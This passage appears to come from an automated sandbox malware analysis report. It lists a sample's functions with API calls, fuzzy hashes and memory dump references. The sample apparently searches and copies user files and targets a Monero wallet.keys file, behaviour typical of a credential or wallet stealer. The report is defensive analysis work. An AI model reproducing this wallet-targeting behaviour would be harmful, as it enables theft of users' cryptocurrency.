Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ded417c54d1c6f242ba1ad132a23b77858f1fd9357050c5e10ae23ddba6ad5f3
Instruction ID: ff1c8a4e8a1f63b792058dd0794a735bd00c2c5ab3037f725e8ceb6029836a75
Opcode Fuzzy Hash: ded417c54d1c6f242ba1ad132a23b77858f1fd9357050c5e10ae23ddba6ad5f3
Instruction Fuzzy Hash: 3DF090B5A44248EBCB14CF88DC45FEAF7BCFB48B24F1006AAF51592280D77969048BE5

Function 004AB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

lstrlen.KERNEL32(00000000), ref: 004AB9C2
lstrlen.KERNEL32(00000000), ref: 004AB9D6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8c53762de4d62bc1d40d9b8070548931cd677284be685e0ae39a550c03069473
Instruction ID: 994b184d6c81be44ec638710e408ee2e0741c2c536093b7e1810c000a231b25c
Opcode Fuzzy Hash: 8c53762de4d62bc1d40d9b8070548931cd677284be685e0ae39a550c03069473
Instruction Fuzzy Hash: FDE10472810118ABDB14FBA1CC92EEE7339BF54304F40455EF506764A1EF386A59CBBA

Function 004AAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

lstrlen.KERNEL32(00000000), ref: 004AB16A
lstrlen.KERNEL32(00000000), ref: 004AB17E

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 037b6529862d3529882a48d40306e9163894717586f30cfb008cfd9adfb0263c
Instruction ID: a5cbd2c879f9d38f25cef40cbd6b10ab6a7d94157b421e0501a52bd3ca6ac356
Opcode Fuzzy Hash: 037b6529862d3529882a48d40306e9163894717586f30cfb008cfd9adfb0263c
Instruction Fuzzy Hash: AC913471910108ABDF14FBA1DCA1EEE7339AF14308F50455EF507A6491EF386A19CBBA

Function 004AB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

lstrlen.KERNEL32(00000000), ref: 004AB42E
lstrlen.KERNEL32(00000000), ref: 004AB442

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 515e08900a64834b4f46015c073da3d12ae860ae35ef8fcd31fbd5cf1390fd6d
Instruction ID: ec3bee137fee0b8d74a42ec9a6df8874a7e43953321ec40e367dde482991c02a
Opcode Fuzzy Hash: 515e08900a64834b4f46015c073da3d12ae860ae35ef8fcd31fbd5cf1390fd6d
Instruction Fuzzy Hash: 4B711371910108ABDF14FBA1DCA6DEE7339BF54304F40451EF502A6592EF386A19CBBA

Function 004B4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B4BEA
lstrcat.KERNEL32(?,00FDD7A8), ref: 004B4C08

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B492C
Part of subcall function 004B4910: FindFirstFileA.KERNEL32(?,?), ref: 004B4943

Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FDC), ref: 004B4971
Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FE0), ref: 004B4987
Part of subcall function 004B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 004B4B7D
Part of subcall function 004B4910: FindClose.KERNEL32(000000FF), ref: 004B4B92

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B49B0
Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C08D2), ref: 004B49C5
Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B49E2
Part of subcall function 004B4910: PathMatchSpecA.SHLWAPI(?,?), ref: 004B4A1E
Part of subcall function 004B4910: lstrcat.KERNEL32(?,00FDF610), ref: 004B4A4A
Part of subcall function 004B4910: lstrcat.KERNEL32(?,004C0FF8), ref: 004B4A5C
Part of subcall function 004B4910: lstrcat.KERNEL32(?,?), ref: 004B4A70
Part of subcall function 004B4910: lstrcat.KERNEL32(?,004C0FFC), ref: 004B4A82
Part of subcall function 004B4910: lstrcat.KERNEL32(?,?), ref: 004B4A96
Part of subcall function 004B4910: CopyFileA.KERNEL32(?,?,00000001), ref: 004B4AAC
Part of subcall function 004B4910: DeleteFileA.KERNEL32(?), ref: 004B4B31

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B4A07

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: a5ad093f3c5af672b1e0549f634d5f305e99e84e8f854eada6eb95499f3037bc
Instruction ID: 39260a9c798c7011a334f39b81dfc64a9510ade9fae8689643aac2bb9c86fba4
Opcode Fuzzy Hash: a5ad093f3c5af672b1e0549f634d5f305e99e84e8f854eada6eb95499f3037bc
Instruction Fuzzy Hash: 7841CBBB900204B7D754F7F0EC82EEE337DA795700F00854DB5459A186ED796B888BA6

Function 004A6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 004A6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 004A6753

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 512374770da53c1122bd879804f7659380de82670ad54bac92ee1d5b98a6c586
Instruction ID: cd25bf3f7fff1b0825d1e24cbbbae50648d97d7954db7a71508d2db17b1cfabd
Opcode Fuzzy Hash: 512374770da53c1122bd879804f7659380de82670ad54bac92ee1d5b98a6c586
Instruction Fuzzy Hash: AC41DE74A00209EFCB44CF98C494BAEBBB1FF58314F248299E9599B355D735EA81CF84

Function 004B5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B508A
lstrcat.KERNEL32(?,00FDF328), ref: 004B50A8

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B492C
Part of subcall function 004B4910: FindFirstFileA.KERNEL32(?,?), ref: 004B4943

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 22db6d5f33de2c9cf0c6acaef3d4501eafda2f101d53fa7bd4a842ea5e836434
Instruction ID: f194d23e92033831a69d9dd247ba199919a4f5735abe8ac1ebdd8c4ee32ea50c
Opcode Fuzzy Hash: 22db6d5f33de2c9cf0c6acaef3d4501eafda2f101d53fa7bd4a842ea5e836434
Instruction Fuzzy Hash: BF019F7690020867CB54F7B1DC87EDE737C9B64304F00454DB64556191EE75A788CBB6

Function 004A10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004A10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004A10F7

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
